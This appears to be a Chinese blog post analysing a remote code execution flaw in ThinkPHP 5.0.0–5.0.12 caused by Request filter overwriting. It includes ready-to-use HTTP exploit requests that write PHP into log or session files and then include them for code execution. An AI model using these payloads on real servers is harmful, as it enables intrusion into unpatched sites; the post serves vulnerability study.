一。

tp5.0.0-5.0.12

这版本是直接可以利用的,无需captcha模块。

分析:thinkphp/library/think/App.php 中的run方法:

Thinkphp5 由Request导致的RCE漏洞版本小结

 

filter(方法就是给$request->filter属性赋值:

Thinkphp5 由Request导致的RCE漏洞版本小结

 

然后默认配置的值:

Thinkphp5 由Request导致的RCE漏洞版本小结

 

所以也就是不管用户是否设置,这里$request->filter属性都会被重置。这里其实是一点不影响整个漏洞的。

影响漏洞的在后面:

然后执行的:app::routeCheck->Route::check(

Thinkphp5 由Request导致的RCE漏洞版本小结

这里route->filter属性是被赋值了。

在tp>=5.0.13的代码以后:(5.0.12以前的版本,module(方法中,没有$request->filter($config['default_filter']);代码,所以不会导致我们设置的filter属性被覆盖。)

当没有captcha模块中的路由的时候会执行:

Thinkphp5 由Request导致的RCE漏洞版本小结

 

 Thinkphp5 由Request导致的RCE漏洞版本小结

 

当存在captcha模块的时候会执行:

Thinkphp5 由Request导致的RCE漏洞版本小结

 

绑定路由到控制器,方法。手册:https://www.kancloud.cn/manual/thinkphp5/118037

 

为了兼容php7 这里选择的还是包含:

1.可以利用我上面文章中的办法:log类写入日志,lang类包含。

exp:

1.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
POST: _method=__construct&filter=\think\Log::write&method=name
2.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=../runtime/log/202003/17.log
POST: _method=__construct&filter=\think\Lang::load&method=name

这个方法就是可能因为日志内容过大,或者别人写入了<?php 这种东西而没有闭合导致包含失败。

2.也可以利用网上说的:包含session。

exp:

1.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
POST:_method=__construct&filter=\think\Session::set&method=name
还需要设置一个cookie:PHPSESSID=aaaaa
2.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=../../../../Extensions/tmp/tmp/sess_aaaaa
POST:_method=__construct&filter=\think\__include_file&method=name

这个方法有个问题就是需要获取到session储存的路径,在phpinfo中可以查看。

注:这里包含的时候,包含的参数一定要在第一位,如:

Thinkphp5 由Request导致的RCE漏洞版本小结

get的参数始终在前面:

Thinkphp5 由Request导致的RCE漏洞版本小结

tp >= 5.0.13 以后的版本,只有完整版才有captcha模块,所以只影响完整版。

相关文章:

  • 2021-12-08
  • 2022-02-14
  • 2022-12-23
  • 2022-12-23
  • 2022-03-13
  • 2022-01-29
  • 2022-02-07
  • 2021-09-28
猜你喜欢
  • 2021-08-23
  • 2022-12-23
  • 2021-12-26
  • 2022-12-23
  • 2021-10-22
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案